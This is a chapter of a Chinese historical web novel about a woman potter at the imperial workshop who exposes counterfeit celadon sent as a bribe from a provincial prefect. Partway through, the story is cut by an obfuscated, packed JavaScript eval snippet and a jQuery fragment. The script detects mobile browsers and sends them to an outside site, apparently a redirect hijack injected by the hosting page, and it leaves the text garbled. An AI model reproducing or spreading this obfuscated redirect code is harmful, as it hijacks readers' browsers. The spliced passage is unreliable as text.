夕阳染红半边天,燥得房梁上的脊兽都红了。
萧行雁一身泥点走到白瓷科的地方。
柳自成早就侯在了这里。
他插着胳膊:“你要是想要认输就早点。”
忙了一天,萧行雁没心情也没力气再逗他了。
她摆摆手:“开始吧,同样的话我不想再说第二遍。”
柳自成冷笑一声:“输了可别后悔!”
萧行雁开始自我怀疑为什么早上的时候要答应这场荒谬的比试。
她绝望地闭了闭双眼:“开始吧。”
不像是之前斗诗的时候,萧行雁此刻没有废话,揪了块泥捏了捏,确定没问题后,便坐在陶车旁边,开始捏最底下的框架。
见萧行雁开始,柳自成也坐了下来,对着眼前的泥捏吧起来。
两人都不说话,周围人围着看,也没发出什么动静,只怕惊到两人。
一时间,院子里只又陶车转动的声音。
直到天上出了几颗探路的星星,两边陶车的声音才停了下来。
萧行雁拿起刻刀,开始给泥胎修型。
刀下,衣褶、五官、头上的玉冠宝石缓缓出了样子。
直到月亮悄悄探了头,萧行雁终于放下刻刀。
她回过神来,只见周围围了一圈人,甚至就连柳自成都神色复杂地看向萧行雁。
片刻后,柳自成开口道:“我输了。”
萧行雁疲惫地眨眨眼,混沌起来的脑子一时间没能处理过来这条信息。
"啊?"
宗右拨开人群,盯着萧行雁的泥胚瞧了一眼,叹了口气。
“我教不了你了。”
萧行雁眨了眨眼,缓缓回过神来。
她这时才有心思细细打量那尊泥坯。
纤毫毕现。
萧行雁木着的脑袋终于后知后觉地活了过来。
大突破!
“嘿嘿~”
众人:“……”
柳自成懵了:“傻了?”
宗右看不下去,上前拍了拍萧行雁的脑袋:“快回去吧,我差人去你家报了信,但再不回去你家里又该急了。”
萧行雁点点头,乱七八糟地走开了。
月色如水。
萧行雁刚出了皇城就看到一辆熟悉的马车侯在门口。
她愣了愣,和车夫打了声招呼就钻进了车厢。
叶芜正摆弄着算筹拿着账本对账,见萧行雁进来了,才在书里夹了页花笺,合上账本。
“怎么样?”他倒了杯茶。
萧行雁捧住还温着的茶水:“我出手自然没有输的。”
叶芜笑了笑,掀开车帘对着外面说道:“先去送萧大人回家。”
车夫应了一声。
叶芜放下帘子,看向萧行雁:“白鹭一个姑娘家,大晚上一个人守着车子到底有些不安全,我便让她先回去。”
萧行雁点点头,感叹道:“还是你周到。”
话毕,她就半眯上了双眼,昏昏沉沉睡了过去。
今天白天累了一天,晚上又全神贯注去雕那泥坯,萧行雁早就没了精神,此刻能上马车也全是靠着意志力。
叶芜看她进入深眠,从底箱中取出了块薄巾掩在她身上,笑了笑,又继续低下头去查账。
马车伴着烛影晃晃悠悠,就这么一路回了萧家。
……
“雁娘,醒醒!”
萧行雁伸了个懒腰,头一歪又继续睡去。
周沛萍也有些尴尬,对着叶芜笑了笑:“雁娘这几日也是太累了。”
叶芜摇摇头:“没事,我知道的。”
周沛萍心想,就是你知道才更不对劲。
——也不对。
总之是哪哪都不对。
若非是宋琴昨日回来时又拉着她问了两句,她还真的想不到。
她素来也是把叶芜当成自家孩子看,但没想到这个“自家孩子”原本也是……
周沛萍把心中刚浮上来的“居心叵测”四个字又按了下去。
她也狠不下心说居心叵测。
她生在民间,当年是有幸才被救回去,再后来才成了萧家家仆。
后来又得幸被宋琴放了自由身,寻了门好亲事,这才稳定下来。
她是见惯了人间男欢女爱的,也知道叶芜或许也是与雁娘相处久了才生了爱慕。
但雁娘平日里总对这种事情缺根弦,若是不经意间被占了便宜如何是好。
也不是不信叶芜,只是人在爱意冲昏头脑时不可能还保证完全遵守礼法。
——好吧,她就是不信这些小郎君。
周沛萍皱着眉头将萧行雁摇醒:“雁娘,雁娘,醒醒!回房间再睡。”
萧行雁皱了皱眉头,眼球动了动,这才缓缓睁开双眼。
她打了个哈欠,揉了揉眼睛,那薄巾便从身上滑落下来。
萧行雁没注意。
叶芜却是伸手接住了,还搂在怀里叠好又放回了底箱。
揉开双眼,萧行雁总算是清醒了些。
她看向叶芜:“今日多谢你送我回来了。马上要宵禁了,你也快回去吧。”
叶芜点点头,顶着周沛萍略带些警惕的目光,目送着萧行雁下了马车,放下了车帘。
萧行雁看向周沛萍,她又立刻温柔下来:“走吧,咱们回去休息,小厨房留了晡食,江婆在温着,略吃两口咱们再睡……”
萧行雁被周沛萍领着进了家门。
叶芜缓缓放下车帘一角,暗暗叹了一口气。
“算了,明日再送一趟就是了。”
“走了,回去吧。”
……
叶芜终究是没能赶上去接萧行雁。
次日傍晚,快递队传来消息,说是惹上了官司。
叶芜皱着眉去了现场。
“我们分明还与你们差着大半截,我们运的也是易碎的东西,怎么我们没事,你却出了问题?!”
对面却是蛮横地很,轻蔑地看了一眼这边的衣裳:“一群穿粗布麻衣的家伙能运得起什么贵重东西?”
叶芜听闻此言,下了马车:“你是谁家的?”
对方见叶芜虽穿得丝绢,却是最下等的丝,态度更是轻慢:“你又算几号人?”
叶芜皱起眉头。
如非必要他是不想和这些人对上的。
“叶芜?”一道清亮惊讶的声音响起,“你怎么在这里?”
叶芜先是心头羞涩,随后意识到此刻不是交谈的好时机,心情又低落下来。
他调整好表情,转头看向从驴车里探头出来的萧行雁,笑道:“没事,不是什么大事,我……”
“怎么不是大事?”
叶芜还没说完,就被刚刚开口的八字胡一顿抢白。
“你知道我们运的东西是什么吗,知道我们是送谁的吗,你们给弄碎了,你赔得起吗?!”
萧行雁皱了皱眉:“什么东西,你弄碎了什么,你拿出来也让大家瞧瞧,让大家评评理。”
八字胡先是表情一虚,不知道想到什么,神色又傲慢起来:“既然如此,那就让诸位评评理!”
说着,他将车上的包裹一件件细细地打开,却见其中显出一抹熟悉地青色。
萧行雁:???
她讶然:“青瓷?这不都是贡瓷么?你手中怎么会有?”
八字胡冷笑两声:“这自然是要送给宫中的贵人的,如今被你们打碎了,你说吧,怎么办?”
叶芜:“……”
萧行雁:“……”
她支着下巴看向八字胡:“不是吧?京中早就在甄官署设了青瓷科,如今的青瓷都是直接在这边烧好的,你这是要送给哪位贵人的?”
八字胡愣了:“青瓷科?”
萧行雁点点头:“是啊,你不会不知道吧?”
八字胡肉眼可见地有些慌乱。
但很快又镇定下来。
“是送给如今在宫中办差的贵人,不是宫中的贵人的,你听错了。”
萧行雁见他找补,也没继续拆穿,而是问道:“哦,我如今也在宫中办差,你与我说说是谁,我说不定能替你说说情,让贵人不怪罪你。”
那八字胡愣了,险些被萧行雁绕了进去。
反应过来后他大怒:“你这小娘子胡说些什么,你懂什么就出来替人出头?如此不知检点!”
萧行雁:???
她都无语了。
“这前后有关联吗?”
八字胡抱住怀里的青瓷,稍稍往里藏了藏:“怎么,说中了?”
萧行雁:“……”
她眯了眯双眼,看向八字胡怀里放在盒子里的青瓷碎片。
“你,把怀里的东西拿给我看看。”
八字胡将东西藏得更紧了:“我的东西凭什么给你!”
萧行雁却对白鹭说道:“你去拿过来。”
白鹭点头,脸上有些兴奋。
自从被萧行雁捡回家之后,她就从良了,还没从人怀里顺过东西。
她从小驴车上一跃而下,灵巧地跑到八字胡旁边,无视了八字胡笨拙地闪躲,趁机从他怀中夺过了盒子,轻巧迅速地回了驴车,将手中的盒子递给萧行雁。
盒子到手一瞬间,那八字胡就疯了一样。
但被叶芜拦住,那八字胡也半点靠不到萧行雁身边。
见沾不到人,八字胡破口大骂起来。
各种脏的臭的都出了口。
萧行雁没管。
那盒子一入手,萧行雁便感觉分量不对。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382194|180738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这盒子应该是梨木的,但这分量……
她朝着盒子下方敲了敲,不由得冷笑出声。
她似笑非笑看了八字胡一眼:“空心的?”
但这也不是重点。
送贿赂的多了去了。
萧行雁打开盒子,捏起一片碎瓷片看了两眼,讽刺地看向八字胡:“中饱私囊可是不对的啊,用次品代替?”
八字胡转头又骂起来:“你才中饱私囊!我顶多是想找个替罪羊!”
说着他声音又小起来,转头看了一眼,有些慌乱:“什么次品?不可能!这时我们刺史大人要送给李大人的!”
萧行雁将瓷片安了回去:“不可能,这就是次品,这几件青瓷颜色沉便不说了,这瓷土粗糙,里面气泡也多,退火时应该也没弄好,这次品就更易碎了!”
“你还说这是贡瓷,这可远远达不到贡瓷的标准!差远了!”
八字胡此刻冷汗已经下来了,但还是梗着脖子道:“你算什么,你凭什么评判!”
萧行雁将那盒子递给白鹭:“给他送回去。”
说罢,她从腰间取下一枚龟符:“我就是甄官署的人,整日与这些东西打交道,怎么可能认不出来。”
八字胡只觉得眼前一黑。
正巧这时,萧行雁小驴车后那辆马车被掀起了帘子,露出一张好奇的脸。
“到底是怎么了?”
八字胡一看,整个人都颤抖起来,双膝一软便膝行过去:“李大人!!!这青瓷我们拿过来的时候真的还是青瓷啊!!!我家老爷亲自装上的,不知道被哪个贼人换走了!”
说着,他眼神在众人中扫视了一圈。
忽而,他眼神定住了,恶狠狠地盯着叶芜:“是他!肯定是他!肯定是他的人手脚不干净!”
李游道脸色忽而大变:“你少来胡说,我从没见过你!”
就算见过也不能见过!
萧行雁刚刚都直接发现那盒子里有贿赂了,他说见过那不是把自己往枪口上撞么?!
八字胡愣了愣,又哭诉起来:“李大人,前些年您来饶州的时候……我家大人是饶州刺史!”
萧行雁简直大开眼界,看向叶芜:“这还有贿赂人自报家门的啊?”
叶芜脸色却是有些怪异,他看了萧行雁一眼:“饶州刺史……浮梁县就在饶州治下。”
萧行雁不笑了。
“这几年刺史换过吗?”
叶芜摇摇头:“梅估客跑商时候不曾听过换任的消息。”
萧行雁脸色难看起来。
这么说来,这饶州刺史就是当年要强娶白卉的哪个刺史!
那边八字胡还在哭诉:“李大人!这肯定是真的,肯定是那个小娘子为了替她那情郎脱罪乱说的!”
“这青瓷可是我们那里最有名的萧大师做的!那梅子青也是她烧出来的!怎么能是假的!”
李游道脸色已经彻底黑了:“我不认识你!”
说着,他放下了车帘。
前些日子他刚被调任,也察觉得出来如今这位女皇对他不是很满意。
本来是想约萧行雁这个御前红人出来探探口风,谁知道遇上了这挑子事。
八字胡还在隔着帘子哭,求李游道主持公道。
萧行雁脸色怪异,看向八字胡:“我说……”
八字胡瞪着她,恶声恶气:“干什么!”
萧行雁神色复杂:“有没有可能我就是你嘴里的那个萧大师?”
八字胡怒了:“不可能!”
萧行雁叹了一口气:“我就姓萧,浮梁人。”
说着,她指了指叶芜:“他也是。”
八字胡眼神在两个人身上转了起来。
萧行雁又指了指他怀里抱着的那个破碎的青瓷碗:“所以我百分百确定那东西不是我烧出来的。”
八字胡尖声道:“不可能!”
萧行雁撇撇嘴:“随你信不信,我只知道,我不可能让我烧出来的青瓷次品流入市场。”
“而且……”
八字胡看着她。
萧行雁道:“当年我烧出来那套青瓷也不长这样,你说你家大人亲自盯着上了车,或许你家大人一开始就没把真的放上去呢?”
八字胡失声道:“不可能……”
真的不可能吗?
八字胡自己脑海中一个猜测越来越清晰。
之前的时候,浮梁县县衙的人突然带来一个老头,只记得刺史大人那时很是兴奋的模样。
后来又生气了一阵。
紧接着刺史便又开始重用他了。
要知道之前的时候刺史因为他是夫人家的老人一直不肯用他。
八字胡只觉得眼前阵阵发黑。
刺史是要推他出来做刀,还是一次性的啊!